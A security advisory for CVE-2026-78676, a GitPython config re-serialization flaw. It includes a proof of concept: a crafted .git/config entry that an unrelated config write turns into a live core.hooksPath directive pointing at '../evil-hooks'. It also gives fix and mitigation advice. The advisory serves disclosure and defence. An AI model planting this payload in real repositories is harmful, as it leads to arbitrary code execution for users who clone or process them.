critical · 9.8CVE-2026-78676Sep 8, 2026

CVE-2026-78676: GitPython Multi-line Config Value RCE via Unsafe Re-serialization

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A git config file containing a legitimately encoded multi-line value can be silently corrupted into a live core.hooksPath directive the moment GitPython performs any unrelated config write, giving an…

PackageGitPython
Ecosystempip
Affected<= 3.1.58
Fixed in3.1.59
CVE-2026-78676: GitPython Multi-line Config Value RCE via Unsafe Re-serialization

The problem

GitPython's write_section() re-serializes every value it holds in memory using an unsafe path: _value_to_string(v) plus .replace("\n", "\n\t"). That produces a bare newline-plus-tab on disk, which real git does NOT treat as a line continuation (git only continues across lines when the previous line ends in a literal backslash).

So any value that carried an embedded newline from the read step silently splits into two independent config lines on the next flush.

The read step is where the newline enters. GitConfigParser._read() calls string_decode() (.decode('unicode_escape')) on quoted, backslash-continued values, turning the two-character escape sequence \n on disk into a real LF byte in memory. No raw control character ever appears on disk before GitPython touches the file.

The existing UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() guards cover only the setter-argument surface and are never consulted for values that entered _sections through _read().

Proof of concept

A working proof-of-concept for CVE-2026-78676 in GitPython, with the exact payload below.

python
# Step 1: craft the dormant .git/config entry (no raw CR/LF/NUL on disk,
# 100% valid standard git quoting + backslash-continuation syntax).
# Insert this block right after [core] in .git/config:
#
#   [core]
#       zzz = "A\nhooksPath = ../evil-hooks\
#   "
#
# Real `git config --get core.hookspath` returns nothing at this point.
# GitPython reads core.zzz as the Python string 'A\nhooksPath = ../evil-hooks'.

# Step 2: one totally unrelated, legitimate GitPython config write.
import git
repo = git.Repo("/path/to/repo")
with repo.config_writer() as cw:
    cw.set_value("user", "name", "Test User")   # harmless, ordinary operation

# After the flush, .git/config now contains on disk, verbatim:
#   [core]
#       zzz = A
#       hooksPath = ../evil-hooks
#
# `git config --get core.hookspath` now returns `../evil-hooks`.
# The next hook-triggering git op (commit, merge, checkout, ...) executes
# ../evil-hooks/pre-commit (or whichever hook git looks for).

The root cause is an asymmetric guard: _value_to_string_safe() is applied only on the write-argument path (the fix for earlier config-injection GHSAs), never on values already resident in _sections after _read(). When write_section() at line ~708 applies .replace("\n", "\n\t") to a decoded value containing a real LF, it produces a continuation that git's parser does not recognise as one (git requires a trailing \ before the newline, not mere indentation).

The second fragment of the value therefore becomes a new, independent config directive, indistinguishable from one the user set intentionally.

The patch (3.1.59) makes write_section() use _value_to_string_safe() for all resident values, ensuring any embedded newline is re-emitted as a properly quoted, backslash-continued value rather than a bare line break, closing the read-to-corrupt-on-rewrite round trip.

The fix

Upgrade GitPython to 3.1.59 or later (pip install --upgrade gitpython). The release also closes four other advisories (GHSA-5xxx-qhh7-9287, GHSA-3wxw-xv34-2frg, GHSA-8mcc-hrx5-hvxc, GHSA-7833-fr7j-v32q). If upgrade is blocked: open config parsers in read_only=True mode wherever possible, and audit any service that clones or processes user-supplied repositories for code paths that call config_writer() after reading an untrusted config.

Reporter not attributed.

References: [1][2][3][4][5]

Related research